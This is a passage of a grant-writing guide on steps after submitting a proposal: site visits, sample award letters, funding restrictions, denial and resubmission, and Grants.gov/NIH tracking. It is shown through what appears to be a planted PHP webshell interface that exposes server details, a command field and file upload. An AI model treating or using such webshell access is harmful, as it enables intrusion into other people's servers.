403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/fundingapplications.com/membersonly/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/fundingapplications.com/membersonly/aftersubBAK.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Funding Applications.com - After Submission</title>


<?php include('header.php');?>


	<tr>
		<td>
	<div style="width:100%; height:100%; background-color:#ffffff;"> <!--main content container-->
	
		<div style="float:left; width:200px; margin:0px 0px 0px 10px;"> <!--left container-->
			<?php include('nav.php');?>
		</div> <!--end left container-->
		
		<div style="float:right; width:490px; margin:0px 15px 0px 0px;" class="text"> <!--right container-->
		
			<h1 class="title_blue">Actions Taken after Submission of 
			Your Grant Proposal</h1>
			<p>After submitting your proposal, 
			you should not have to spend time anxiously waiting for a response.  
			You need to be pro-active at this point, and take several steps to promote 
			your proposal with your potential grantor(s).</p>
			<p>Post-submission steps vary 
			depending on the particular grantor’s policies and practices.  
			The steps to approach a federal agency differ from the steps to approach 
			a private foundation or other non-government grantor.  Federal 
			grants submitted through <a href="http://www.grants.gov/" target="_blank">www.Grants.gov</a> automatically ensure that your proposal 
			has been received, and you are presented tangible evidence on the site 
			that your application was complete and accepted by the grantor.   </p>
			<h2>Pro-Active 
			Plan of Action After Grant Application Submission</h2>
			<p>Here are a few suggestions 
			of what you can do after submission of your proposal to a non-government 
			that does not utilize the electronic proposal application methodology:</p>
			<ul type="DISC">
			  <li>For traditional 
			  (non-electronic) proposals, call the <a name="0.1_indexentry56"></a>grantor’s 
			  program director or other designated contact person and inquire if the 
			  proposal was received, and whether the application package was completed 
			  to the grantor’s satisfaction.  It would be advantageous for 
			  you to speak with the same contact person you had with the funding source 
			  prior to the submission of your grant.  If you can continue to 
			  augment this personal relationship, you will maintain a personal connection 
			  with the grantor and your grant submission.</li>
			  <li>If your proposal 
			  was accepted without incident, feel free to inquire about the review 
			  and decision-making process that is involved in determining the recipient.  
			  Some inquiries concerning the on-time schedule and decision dates as 
			  outlined in the grantor’s RFP are appropriate at this time.  
			  Grantors are apt to readjust their timetables after publishing their 
			  RFP, so this is a valid and important question.  If you learn that the 
			  grantor is not far enough along in the decision-making process to provide 
			  you with any more information, you can ask when might be a better time 
			  to call back for the information you seek. </li>
			  <li>Speak with your 
			  contact person directly, and assure that party that you’ll be happy 
			  to answer any questions relative to the proposal at any time. </li>
			  <li>If the grantor should 
			  ask you questions at that time relative to your grant proposal, make 
			  sure that you carefully respond to those inquiries.  Do not regurgitate 
			  the first thought that comes into your head!  Answer any questions 
			  the grantor may have, but do not rush.  Take enough time to be sure 
			  your answers are thoughtful, accurate, and complete.  If you are asked 
			  to provide additional information in <a name="0.1_indexentry57"></a>writing, 
			  do so in a timely manner.</li>
			  <li>If you are applying 
			  on behalf of a non-profit organization, inquire as to the possibility 
			  of a face-to-face meeting.  If the grantor requests a meeting, try to 
			  arrange such a meeting at your workplace in order to give your organization 
			  an opportunity to provide a personal view of your operations.  If this 
			  is a feasible outcome, then ensure that your organization puts its best 
			  foot forward during the visitation.  <b>This is your audition for 
			  the grant.</b></li>
			  <li>Follow-up your grant 
			  submission by furnishing elected officials on federal, state and/or 
			  local levels with copies of your proposal so that they are familiar 
			  with its contents.<b> </b> If you apply for a grant from a federal or 
			  state agency, try to get these officials’ involvement and support, 
			  for your grant proposal.  Ask them for any assistance they can 
			  provide, including letters of support.  Include direct communications 
			  and updates throughout the grant process to these officials so that 
			  they are aware of progress throughout the process.  These officials 
			  will appreciate your recognition of the importance of their involvement.</li>
			</ul>
			<h2>Preparing 
			for a Site Visit from a Potential Grantor</h2>
			<p>Grantors may request a site 
			visit before they make a decision on your grant proposal.  For smaller <a name="0.1_indexentry59"></a>grantors, 
			a site visit typically involves the grantor’s program officer making 
			a brief visit to meet you and your staff, in order to ask relevant questions, 
			and to observe your programs.  Funders such as the United Way make 
			site visits an important element in their grant funding process.  They 
			usually want to see your physical space, meet the leaders of your organization, 
			and observe the operations of your organization first-hand. </p>
			<p>If your potential grantor is 
			a large agency or foundation, your visitor(s) will likely arrive with 
			an agenda, and will expect to meet certain people and see some areas 
			of specification.  These visitors from the funding source want 
			to be sure you have the resources to manage the funds you are seeking, 
			and they will want to have sufficient empirical evidence to support 
			your proposed project before rendering their decision.  If you have 
			received funds from this grantor before, the grantor may want to see 
			whether, or how, things have changed since their last grant award.  </p>
			<p>Despite any concerns or anxieties 
			you might have about site visits, you can turn a site visit into a great 
			opportunity.  Impress upon your staff that this is an opportunity for 
			the funding source to witness first-hand the quality of the programs 
			that you already deliver, and that you can do the same for the grantor.  
			The fact that a potential grantor wants to visit you means that your 
			proposal was interesting enough to merit the grantor’s time and <a name="0.1_indexentry5A"></a>resources.  
			While you should not assume that a site visit signals that approval 
			is pending, it can indicate that the grantor thinks positively about 
			your proposal.  The site visit gives you and your organization a serendipitous 
			chance to encourage and build upon any such positive thoughts and inclinations.<br /> </p>
			<h2>Site 
			Visit Preparation Checklist (for Small Businesses and Non-profit Organizations)</h2>
			<p>When you have been notified 
			of the desire of the grantor to visit your organization, you need to 
			make the date of the site visit at a time when the leaders of your organization 
			are available to meet with the funder’s representatives.  Here 
			are some precautions you should take in order to ensure that your organization 
			will be reviewed in the best possible light.</p>
			<ul type="DISC">
			  <li>Make all necessary 
			  preparations before the visit, regardless of the size of your grant 
			  proposal or the relative importance of your visiting grantor.  </li>
			  <li><a name="0.1_indexentry5C"></a>Schedule 
			  the meeting based on the schedule of your visitors and the availability 
			  of the leaders of your organization.  If the grantor supplies an agenda, 
			  make sure that all appropriate administration and staff are aware of 
			  it, and that they are prepared to give appropriate responses to these 
			  inquiries.</li>
			  <li>Make sure your facilities 
			  are neat and clean, but do not overdo it.  Neatness counts, but <a name="0.1_indexentry5D"></a>grantors 
			  are used to applicants whose working environments are less than glamorous.  
			  A clean but humble facility may convey the sense that you are attentive, 
			  thoughtful, and efficient, yet not defensive through this visitation. </li>
			  <li>Inform all your 
			  staff members and other workers (including volunteers) about the visit 
			  so they can act and dress appropriately.</li>
			  <li>Meet with any sponsoring 
			  groups, partners, or affiliates before the visit in order that you can 
			  coordinate any collaborative presentations, and to ensure that all parties 
			  are on the same page with the same goals and mission.</li>
			  <li>Ensure that the 
			  space provided for in your proposal is well equipped and is sufficient 
			  to carry on the activities as outlined in your grant proposal.   
			  The grantor’s representatives will be keenly aware of the importance 
			  of this space.</li>
			</ul>
			<p>Remember, the best way to make 
			a positive impression on your visitors is through your personal enthusiasm 
			and commitment to the project.  One of the best ways to convey 
			this impression is to allow those workers who are scheduled to conduct 
			the activities of the proposed program to have an opportunity to speak 
			with these visitors.  The visitors will be particularly interested 
			in the attitude and demeanor of the staff who will operate the program.  
			Always be natural, and convey that your organization’s mission and 
			project goals are in alignment with those of the funding source.  The 
			enthusiasm of yourself and your staff can be an important factor in 
			the grantor’s decision because genuine enthusiasm is obvious and it 
			can be contagious.  This attitude will often make it easier for 
			the grantor to say “yes” to your proposal.  Don’t forget 
			to discuss your clients or customers, and demonstrate that you know 
			the issues involved with your grant proposal.    </p>
			<p>The site visitation allows 
			the representatives of the grantor to project the collaborative relationship 
			that will exist between the funding source and your organization in 
			the event that you are named the recipient of the grant funding, so 
			be as accommodating as possible without being fraudulent or a phony. </p>
			<h2>THE DECISION:  
			Full Acceptance</h2>
			<p>You will know if you are the 
			recipient of the grant when you receive such notification in the form 
			of a letter to the C.E.O. of your organization, or to the contact person 
			of record as appointed in the grant proposal. <br></p>
			<h2>Sample Letters 
			of Acceptance</h2>
			<p>Here are two <a name="0.1_indexentry5E"></a>sample 
			grant acceptance letters: <br></p>
			<p><b>Sample Letter #1</b>: (Source: <a name="0.1_indexentry5F"></a>Council 
			on Foundations, ©2003) Reprinted with permission from the Council on 
			Foundations. <br></p>
			<ul><p>Date</p></ul>
			<ul><p> </p></ul>
			<ul><p>Name</p></ul>
			<ul><p>Organization</p></ul>
			<ul><p>Address</p></ul>
			<ul><p>City, State, Zip       </p></ul>
			<ul><p>Grant Number:_____ </p></ul>
			<ul><p>Dear________: </p></ul>
			<ul><p>I am pleased to inform 
			you that the Board of <a name="0.1_indexentry60"></a>Directors of the ______________Foundation 
			has approved a ___-year grant of $______ to _________________________ 
			in support of a health care organization for elderly people.  This work 
			is to be carried out under the direction of (name of Project Director). </p></ul>
			<ul><p>The funds are to be used 
			over the period from___________ to _________ 2008, in accordance with 
			the budget submitted on _______________.  The grant is subject to the 
			terms and conditions outlined in the Request for Project Support of 
			that same date, and in a letter of agreement that you will receive shortly 
			from the Director of the Foundation.  There is no commitment by the 
			Foundation to supplying any further support to this project. </p></ul>
			<ul><p>If you have any other questions 
			about this grant, please contact [name of Program Officer or Trustee] 
			who has principal responsibility for your grant at the Foundation. </p></ul>
			<ul><p>Our best wishes in carrying 
			out this important work. <br></p></ul>
			<ul><p>Sincerely,  <br></p></ul>
			<p><b>Sample Letter #2:</b> (Source: <a name="0.1_indexentry61"></a>Council 
			on Foundations, ©2003) Reprinted with permission from the Council on 
			Foundations.</p>
			<ul><p>Date</p></ul>
			<ul><p> </p></ul>
			<ul><p>Name</p></ul>
			<ul><p>Organization</p></ul>
			<ul><p>Address</p></ul>
			<ul><p>City, State, Zip  </p></ul>
			<ul><p>Grant Number:_____ </p></ul>
			<ul><p>Dear _________: </p></ul>
			<ul><p>We are pleased to advise 
			you that the trustees of the _____________ Foundation have approved 
			a <a name="0.1_indexentry62"></a>challenge grant of $______ toward the construction 
			of a visual arts center at an estimated cost, including endowment, of 
			$_________. <br></p></ul>
			<ul><p>Payment of the grant is 
			conditioned upon: <br></p></ul>
			<ul>
			<ol type="1">
			  <li>Certification by 
			  Date that you have raised the balance of the funds required to complete 
			  this project.  Such certification should include a general statement 
			  of the source of the funds received, pledged or otherwise committed 
			  to the project. </li>
			  <li>Notification of 
			  the actual contract costs, once all applicable project contracts have 
			  been signed, and assurance that they are within available <a name="0.1_indexentry63"></a>resources. </li>
			</ol>
			</ul>
			<ul><p>For your eventual use in 
			reporting your compliance with the grant conditions, we are enclosing 
			a form which describes our understanding of the project costs, timetable 
			and available funding to date. <br></p></ul>
			<ul><p>Grant funds will be remitted 
			following the Foundation’s review and approval of all compliance documentation.  
			At this time we are projecting a potential grant payment date of _____. </p></ul>
			<ul><p>We ask that you acknowledge 
			receipt of this letter and furnish a written report to us upon completion 
			of the project.  We shall assume that the date specified in Condition 
			(1.) is satisfactory unless you promptly advise us to the contrary.  
			Grant funds not expended or committed for the purposes of the grant 
			must be returned to the Foundation. <br></p></ul>
			<ul><p>On behalf of the Foundation, 
			I wish you every success in your program. <br></p></ul>
			<ul><p>Sincerely,  </p></ul>
			<ul><p>Enclosures: News Release 
			Information </p></ul>
			<ul><p>                   
			Grant Compliance Form  <br></p></ul>
			<h2>Response 
			to the Grant Letter of Notification</h2>
			<p>If your organization receives 
			notification that it has been named the grant recipient, you need to 
			construct a <a name="0.1_indexentry64"></a>“thank-you” letter to the 
			grantor.  This will show your appreciation, and it will further strengthen 
			the bonds for a quality and satisfying collaborative relationship.  
			Grantors appreciate hearing from applicants to whom they have given 
			money.  In your letter, make sure to use the same words that the grantor 
			used when referring to your grant. For example, the grantor’s name 
			for your project may be different from the name you originally gave 
			it in your proposal.  Grantors who work with many applications that 
			have similar project titles sometime identify each individual project 
			by its own particular name.  <br></p>
			<p>Invite the grantor to visit 
			you to see your project (its investment) in action.  Add key people 
			in the grantor’s organization to your holiday <a name="0.1_indexentry65"></a>mailing 
			lists, and send them greeting cards and invitations to special events 
			that you sponsor during the year.  In short, consider this grantor as 
			a “member of your family” because, in effect, this is the only way 
			to maintain a synergistic relationship.  You will benefit by showing 
			your continuing appreciation through ongoing communication and invitations 
			to your social activities. <br></p>
			<h2>Restrictions</h2>
			<p>Read the grantor’s acceptance 
			letter carefully because there may be restrictions as to how and when 
			you can spend its grant money.  Any such restrictions are usually 
			in your grant award letter or in the initial RFP guidelines.  <b><i>
			You must be aware of all legal agreements and how they may affect your 
			grant and the work you do with any funds that you receive.</i></b>
			<p><b>There may be restrictions 
			on the funding you receive as to how you spend the appropriation</b>.  
			The following is a listing of some of the common restrictions placed 
			on expenditures:</p>
			<ul type="DISC">
			  <li>Limitations on the 
			  types of expenditures allowed with the grant money, such as administrative 
			  salaries, equipment purchases, inventory, overhead expenses, and advertising.</li>
			  <li><a name="0.1_indexentry66"></a>Content 
			  restrictions on artistic expression are common in <a name="0.1_indexentry67"></a>grants, 
			  such as the arts.  Be particularly careful to follow the list of restricted 
			  expenditures to the letter of the law if you are required to sign <a name="0.1_indexentry68"></a>legal 
			  agreements related to such content restrictions. </li>
			  <li><a name="0.1_indexentry69"></a>Operations 
			  restrictions, often on grants for scientific <a name="0.1_indexentry6A"></a>research, 
			  limit how scientists can do research or the kinds of material they can 
			  use. </li>
			</ul>
			<p><b>There 
			may restrictions on the funding you receive 
			as to when you can spend the appropriation.</b>          </p>
			<p>You may be required to use 
			all the money in a certain amount of time.  For example, if you receive 
			a challenge or matching grant, you may not be able to use the money 
			until you meet that challenge or match the funds.  If you have any questions 
			about any such restrictions, do not hesitate to ask the grantor.  </p>
			<p>Restrictions regarding <b><i>
			when</i></b> you can use the funds are typical with government grants. 
			Your refusal to sign such agreements could lead to increased interest 
			from private sector <a name="0.1_indexentry6D"></a>grantors who are impressed 
			by your perseverance and willingness to continue your funding search 
			rather than accept such restrictions. <br></p>
			<ul><p><b><i>Be careful and beware, 
			however.  <a name="0.1_indexentry6E"></a>Violating any content or operating 
			restrictions can result in <a name="0.1_indexentry6F"></a>losing your entire 
			grant!  This could also affect your future grant funding chances with 
			this and/or other grantors. </i></b></p></ul>
			<h2>Agreements: Contracts with Grantors</h2>
			<p>Many grantors require you to 
			sign a <a name="0.1_indexentry70"></a>grant contract agreement.  This 
			agreement is the basis of your grant award.  It is a <a name="0.1_indexentry71"></a>legal 
			contract between you and the grantor and any sponsor or other third 
			party.  You must sign it and comply with it in order to receive your <a name="0.1_indexentry72"></a>grant 
			funds.  Make sure you know and understand all the <a name="0.1_indexentry73"></a>terms 
			and conditions of each grant award contract, including any fine print, 
			because you will have to comply with these terms to ensure that you 
			receive, and continue to receive, your grant funds throughout the grant 
			period.  These agreements typically are designed to ensure that you 
			comply with the grant award terms, conditions, and restrictions as published 
			in the grant guidelines or elsewhere.  <br></p>
			<p>Like any other contract, a 
			grantor can treat your failure to comply with its terms or conditions 
			as a <a name="0.1_indexentry74"></a>breach of contract, stop your payments, 
			and impose other <a name="0.1_indexentry75"></a>penalties or liabilities, 
			depending upon the particular contract.  <br></p>
			<p>If you have any questions about 
			a grant agreement, call the grantor and ask for clarification <b><i>
			before</i></b> you sign it.  Grantors welcome such open communications, 
			particularly if it helps avoid confusion and ensures your future compliance.  
			If you are still uncertain, ask a qualified attorney with expertise 
			in grant contracts to review it for you. <br></p>
			<h2>Grant 
			Payment Methods</h2>
			<p>If grant money is distributed 
			in <a name="0.1_indexentry76"></a>installments, it may be allocated by a <a name="0.1_indexentry77"></a>calendar 
			schedule or by milestone achievements, such as project stages, stated 
			in your proposal.  If you have a sponsor or fiscal agent acting as your 
			financial representative, either party may receive the grant in a lump 
			sum, and distribute the money to you in installments.   </p>
			<p>Be sure to clarify any such 
			arrangement with your agent.   It is important that you clearly 
			establish the <a name="0.1_indexentry78"></a>payment arrangements and understand 
			all <a name="0.1_indexentry79"></a>payment terms.  <br></p>
			<h2>Maintaining 
			your Financial Records of the Grant Appropriation</h2>
			<p>Make sure you fully understand 
			the grantor’s specific format requirements for keeping the required 
			records.  If you have a sponsor, do not assume that it automatically 
			understands its <a name="0.1_indexentry7A"></a>record keeping responsibilities.  
			Make sure you clarify these responsibilities with both your grantor 
			and, if applicable, your sponsor or any third party.  </p>
			<h2>Accounting Procedures</h2>
			<p>If you have a sponsor, you 
			should meet with its fiscal officer (probably its business manager) 
			to establish accounting procedures in case the grant has requirements 
			that were not stated in the original guidelines or in your formal letter 
			of agreement. This is another reason to make sure you understand all 
			of your <a name="0.1_indexentry7C"></a>financial obligations and relationships 
			with your grantor, sponsor, and/or affiliate.  <br></p>
			<h2>Progress 
			Reports/Updates</h2>
			<p>You need to be sure of your 
			grantor’s requirements for progress reports and/or updates.  
			If progress reports and/or updates are required, find out the time frames 
			for the forwarding of these reports, and the information that is required.  
			If these reports are expected to be formal on company letterhead, then 
			inquire as to frequency of any expected updates other than the aforementioned 
			reports, and whether the expectation is that these updates will also 
			be formal.  You will also want to know if there is a recommended or <a name="0.1_indexentry7D"></a>required 
			format, style, or topics that you need to address.   Taking notes 
			or keeping a <a name="0.1_indexentry7E"></a>daily log will help you prepare 
			for periodic progress reports. <br></p>
			<h2>Project Evaluation</h2>
			<p>The evaluation process 
			is the grantor’s assurance that the program is fulfilling the goals 
			of the grant.  It is important that you develop a project evaluation 
			methodology that is preferred by the funder of the project.  You 
			will need to clarify the following points before making a final determination 
			with regard to the evaluation of your project:</p>
			<ul>
			  <li>Does the grantor 
			  prefer one particular <a name="0.1_indexentry81"></a>type of evaluation 
			  process? </li>
			  <li>Will you be solely 
			  responsible for evaluating your project success, or will the grantor 
			  or a third party provide this evaluation? </li>
			  <li>Is there a <a name="0.1_indexentry82"></a>specific 
			  time when evaluations are planned or expected?  Much of this may be 
			  in your proposal and/or the grantor’s guidelines, but it can not hurt 
			  to double-check to be sure and avoid any future problems. </li>
			</ul>
			<h2>Decision:  
			Partial Acceptance</h2>
			<p>In some instances, a grantor 
			will offer a <a name="0.1_indexentry83"></a>partial acceptance for your 
			grant proposal.  This is an award of an amount less than the full amount 
			you requested in your grant proposal. There are many reasons that grantors 
			may choose to only partially fund your project.  They may have 
			a limited amount of funds to distribute among many competing <a name="0.1_indexentry84"></a>grant 
			applicants, or they may believe that you can complete your project with 
			less funding than you requested. 
			<b><i>Regardless of the grantor’s reason, do not turn down any grant award 
			because you did not receive all the funds you requested!</i></b>
			<p>Remember, <a name="0.1_indexentry85"></a>grantors 
			do not expect, or even want, to be your only funding source.  On 
			the contrary, they appreciate seeing <a name="0.1_indexentry86"></a>grant 
			applicants with <a name="0.1_indexentry87"></a>other income sources, whether 
			they be separate fundraising activities, other grantors or lenders, 
			or some other means.  <br></p>
			<p>Partial funding can also encourage 
			other grantors to add to your overall budget in the short or long-term, 
			upon noticing that other funding sources are interested in your project.  
			Each partial grant you receive can actually increase your chances of 
			receiving additional partial <a name="0.1_indexentry88"></a>grants from 
			other sources until you meet your entire budget.  </p>
			<p>Make every effort to manage 
			your project, even on a scaled-down budget, with the partial funding 
			you receive, while you continue to seek funds from other sources.  This 
			makes your cause more appealing in the eyes of other prospective grantors.  
			In this way, you demonstrate your commitment to the project and your 
			willingness to do whatever it takes to make it work.  </p>
			<p>First-time grant seekers, in 
			particular, may find that settling for a smaller, lower-budget grant 
			for their project gives them the opportunity to prove their ability 
			to adjust, adapt, and work on a budget until they receive the additional 
			support they need.  You might discover this type of positive attitude 
			and work ethic is a more effective long-term strategy in order to attain 
			all the funds you need.  <br></p>
			<h2>Denial:  
			They said, “No”</h2>
			<p>If you do not get the grant, 
			do not be discouraged.  There are still ways you can follow up that 
			will help you in the long term and with future applications.  Your 
			best response to a denial of your grant proposal is also the most challenging 
			one.  You must turn this negative response into an opportunity to improve 
			your proposal.   Review your proposal and the steps you took 
			during the research, planning, preparation and submission stages of 
			the grant application process, and learn from any mistakes you may have 
			made.   <br></p>
			<p><b>Most importantly, do not 
			let a denial letter stop your grant-seeking efforts.</b> <br>
			<h2>Taking 
			Pro-active Steps:  Contact the Grantor’s Program Officer</h2>
			<p>After your grant has been denied, 
			there is much that can be derived from the experience.   Here 
			are some pro-active steps that you should take after your grant proposal 
			has exacted a negative response from a funding source:</p>
			<ul type="DISC">
			  <li>Allow a week or 
			  ten days to pass after you have received the letter of denial and then 
			  call the program officer to ask for some constructive criticism.  Remember, 
			  do not call to defend your proposal or to challenge the grantor’s 
			  decision, just politely ask the program officer for constructive criticism 
			  so that you can improve your grant upon its next submission. </li>
			  <li>Ask the program 
			  officer of the funding source to explain the reason(s) why your proposal 
			  was denied.  Any advice you receive from the grantor at this stage can 
			  be extremely valuable to you.  </li>
			  <li>Be sure to jot down 
			  the feedback rendered by the grantor, including, but not limited to, 
			  any explanations or other feedback as this could end up being the best 
			  advice you receive.  </li>
			  <li>Be sure to ask whether 
			  the grantor would let you revise and resubmit your proposal during the 
			  next grant cycle. </li>
			</ul>
			<p>If you know that your proposal 
			reached a certain level of consideration within a government agency’s 
			review process and you have been in touch with agency representatives 
			about it, any subsequent contacts in an attempt to elicit some information 
			or an explanation for their denial should be pleasantly received.  
			These communications can give you the following tangible results for 
			your efforts:</p>
			<ul type="DISC">
			  <li>Provide important 
			  insights into what you need to improve.  </li>
			  <li>Keep your lines 
			  of communication open in order to build and maintain future    
			  relationships. </li>
			  <li>Improve your chances 
			  of acceptance by the grantor should you decide to apply again.</li>
			</ul>
			<p>For state or local agencies, 
			kindly request a summary of the agency grant 
			review panel’s assessment of your proposal.  Make sure to communicate 
			that you are not questioning their decision, only trying to obtain any 
			information that might help you proceed with your project in the future. </p>
			<h2>Re-submission 
			of Your Proposal</h2>
			<p>First and foremost, make sure 
			that the grantor permits re-submission, as some <a name="0.1_indexentry8B"></a>grantors 
			have policies that prohibit you from submitting the same project more 
			than once.  Many require that you wait for the next grant cycle or fiscal 
			year before you are permitted to re-submit your proposal.  </p>
			<p>Re-submittal may be a worthwhile 
			endeavor if you know that your proposal was denied after it was recommended 
			to the review committee.  Even, in this instance, you should wait until 
			the <a name="0.1_indexentry8C"></a>next <a name="0.1_indexentry8D"></a>grant 
			cycle to re-submit it.  <br></p>
			<p>If you chose to re-submit your 
			proposal, here are some factors for you to consider prior to conforming 
			to the process:</p>
			<ul type="DISC">
			  <li>Make any revisions 
			  that you deem necessary that will improve your chances for approval 
			  subsequent to your original submission.  Grant applicants can receive 
			  affirmation on their applications upon secondary and tertiary grant 
			  submissions.  </li>
			  <li>The process of re-submission 
			  affirms your commitment to the project.</li>
			  <li>Do not re-submit 
			  your proposal prior to inquiring from the grantor why the original application 
			  was rejected.  The grantor will furnish you with the reasons for 
			  the rejection, and this will give you the time to make the needed corrections 
			  and/or amendments that will reinforce your re-submission.</li>
			  <li>Consider using a 
			  non-profit sponsor, partner or affiliate if the denial is based on a 
			  perceived lack of individual qualifications on the part of your staff, 
			  or the lack of sponsorship on the part of your organization.  </li>
			</ul>
			<p>In the end, your success depends 
			upon your commitment and passion for your project, and your willingness 
			to work hard and be persistent.  If you truly believe in your project, 
			you should eventually win the grant(s) you seek.  </p>
			<h2>Pro-Active 
			Plan of Action After Electronic Grant Application 
			<a name="0.1_indexentry8E"></a>Submission</h2>
			<p>Online electronic submission 
			of your grant application adds new rules and requirements to the grant <a name="0.1_indexentry8F"></a>writing 
			and submission process.  When you prepare and submit a federal agency 
			grant proposal electronically, you can utilize either the agency’s 
			website or, more likely, <a href="http://www.grants.gov/" target="_blank">www.Grants.gov</a>.  Most federal agencies require 
			that you submit your grant electronically, and the majority of these 
			will only accept proposals submitted through Grants.gov, which has its 
			own system for tracking your proposal after submission.  </p>
			<p>Once Grants.gov receives your 
			grant application submission, you’ll receive two e-mail messages within 
			24 to 48 hours advising you of your application’s status.  The first 
			e-mail confirms that Grants.gov received your application.  Write 
			down, or otherwise note, the application tracking number in this confirmation 
			e-mail, as you will need it to track your application.  The second 
			e-mail indicates whether <a href="http://www.grants.gov/" target="_blank">www.Grants.gov</a>  has successfully validated your 
			application before transmitting it to the grantor agency, or whether 
			it rejected your application due to errors or other reasons.  </p>
			<p>If the grantor agency receives 
			your application and assigns it an <a name="0.1_indexentry90"></a>agency-specific 
			tracking number, you may also receive a third e-mail with a second tracking 
			number from that agency.  Write down or note this number as well. </p>
			<p>Use these numbers to check 
			your application status on Grants.gov by logging on to the “Applicant” 
			page, where you enter your username and password.  Next, click on “<a name="0.1_indexentry91"></a>Application 
			Status” to track your application’s progress.  </p>
			<h2>Case Study:  
			Post-Submission of Grant through Electronic Process</h2>
			<h2>Illustrative 
			Federal Agency Post-Electronic Grant 
			<a name="0.1_indexentry92"></a>Submission Process: National Institutes of 
			Health (NIH)</h2>
			<p>A good example of how the federal 
			agency post-submission process operates in the <a name="0.1_indexentry93"></a>electronic 
			age is the National Institutes of Health (NIH).  The NIH requires that 
			you submit your grant application electronically through <a href="http://www.grants.gov/" target="_blank">www.Grants.gov</a>.   It also provides guidelines and 
			checklists for checking and tracking your submission status.  However, 
			the responsibility as a grant applicant to track your application(s), 
			through Grants.gov and/or NIH’s <a name="0.1_indexentry94"></a>eRA Commons, 
			remains on your shoulders.  <br></p>
			<h2>New Verification 
			Process for Non-Profit Organizations</h2>
			<p>The new eRA Commons verification 
			process provides a <a name="0.1_indexentry95"></a>two-day window for grant 
			applicant organizations to check and verify the electronically submitted 
			application.  This means any applicant AOR (Authorized Organization 
			Representative), SO (Signing Official), and/or PD/PI (Project Director/Principal 
			Investigator) has just two days after submitting a grant proposal to 
			review it in its final form. The eRA Commons review is your only opportunity 
			as a grant applicant to review and revise your grant application before 
			a grantor agency reviewer sees it.  If you have any doubts, you 
			can ask Grants.gov to halt your proposal process within this two-day 
			period, if necessary.  <br></p>
			<p>Once the <a name="0.1_indexentry96"></a>two-day 
			period ends, the submission process is complete.  Grants.gov will 
			automatically forward your application to the agency’s <a name="0.1_indexentry97"></a>(NIH) 
			Division of Receipt and Referral Center for Scientific Review.  Any 
			additional alterations to your application after this two-day period 
			can only be made through and, with permission of, <a name="0.1_indexentry98"></a>NIH’s 
			Scientific Review Administrator and this can potentially delay application 
			processing. <br></p>
			<p>If your submission is on the 
			due date, this two-day window will fall after the submission deadline.  
			You can only reject the application if the final application does not 
			correctly/accurately reflect the application package that you submitted.  
			If part of the application gets lost or does not get transferred correctly, 
			you should contact the eRA Commons Helpdesk to confirm the system error, 
			document the issue, and decide on the best action to take.  NIH will 
			not penalize you for an eRA Commons or Grants.gov system issue or error. </p>
			<p>You are able to correct or 
			otherwise change your application after the submission deadline for 
			any reason other than an eRA Commons or Grants.gov system error, and 
			resubmit it, but you will be subject to the NIH late policy.  You also 
			take the risk that your application will be rejected.  If you are 
			faced with this situation, you may explain your  reason for the delay 
			in a cover letter attachment. <br></p>
			<p>Whether you are an AOR/SO or 
			a PD/PI, you will receive e-mail notices informing you as to the status 
			of your application. <br></p>
			<h2>Review and 
			Fix any Errors and Warnings</h2>
			<p>If you are your organization’s 
			PI or SO, you can review your completed proposal for any errors by following 
			these steps:</p>
			<ol type="1">
			  <li>Find the application 
			  that shows “eSubmission Error” in “<a name="0.1_indexentry99"></a>Application 
			  Status.” Then, follow the link on the Application ID to see any specific 
			  error or warnings.</li>
			  <li>View the list of 
			  “<a name="0.1_indexentry9A"></a>eSubmission Errors and Warnings.” Select 
			  the “Show eSubmission Errors” checkbox to include applications that 
			  did not pass <a name="0.1_indexentry9B"></a>eRA Commons error checking.  
			  You can fix warnings at your discretion, and they do not require any 
			  action for the application to be submitted.  You must fix any errors 
			  before your application can be submitted. </li>
			  <li>Refer to the NIH 
			  “Application Guide” and “Announcement Instructions” for guidance 
			  on NIH directives on what information is required to be entered in specific 
			  fields. </li>
			  <li>After you enter 
			  your selection criteria, click on the “search” button.</li>
			  <li>After using these 
			  available <a name="0.1_indexentry9C"></a>resources, if you still can’t 
			  identify and fix the errors, contact the eRA Helpdesk for online support. <br>
			  (<a href="http://ithelpdesk.nih.gov/eRA" target="_blank">http://ithelpdesk.nih.gov/eRA</a>)</li>
			  <li>After you have made 
			  all the necessary corrections, you must <a name="0.1_indexentry9D"></a>re-submit 
			  the entire corrected application through <a href="http://www.grants.gov/" target="_blank">www.Grants.gov</a>.   <i> </i></li>
			  <li>Once Grants.gov 
			  receives an <a name="0.1_indexentry9E"></a>error-free application from you, 
			  eRA assembles it, and allows you to review the entire grant application 
			  package for a <b><i>final check.</i></b> </li>
			</ol>
			<h2>NIH 
			“<a name="0.1_indexentry9F"></a>Frequently Asked Questions” (FAQ) on 
			Post-Electronic <a name="0.1_indexentryA0"></a>Submission</h2>
			<p>NIH offers helpful tips, in 
			the form of Frequently Asked Questions (FAQ), on the various steps you 
			can take after submitting your grant proposal electronically.  
			These tips answer questions concerning the following topics:  </p>
			<ul type="DISC">
			  <li><a name="0.1_indexentryA1"></a>Checking 
			  the submission status of your grant proposal.  </li>
			  <li>Action to take if 
			  your NIH application has not yet been acknowledged as processed and 
			  accepted.</li>
			  <li>Checking your assembled 
			  application both before and after NIH receives it.  </li>
			  <li>Re-submitting grant 
			  application.</li>
			  <li>Correcting your 
			  submitted <a name="0.1_indexentryA2"></a>grant proposal.  </li>
			  <li>Queries regarding 
			  e-mail notifications.  </li>
			  <li>Dealing with issues 
			  involving new and amended forms.   </li>
			  <li>Dealing with other 
			  issues in the online grant application process. </li>
			</ul>
			<p>These FAQ provide practical 
			answers and steps you can take in order  to answer your questions concerning 
			situations that may arise after submission.  <br></p>
			<h2>Frequently 
			Asked Questions Regarding the Post-Submission of Grant Applications</h2>
			<p><b>Q:  
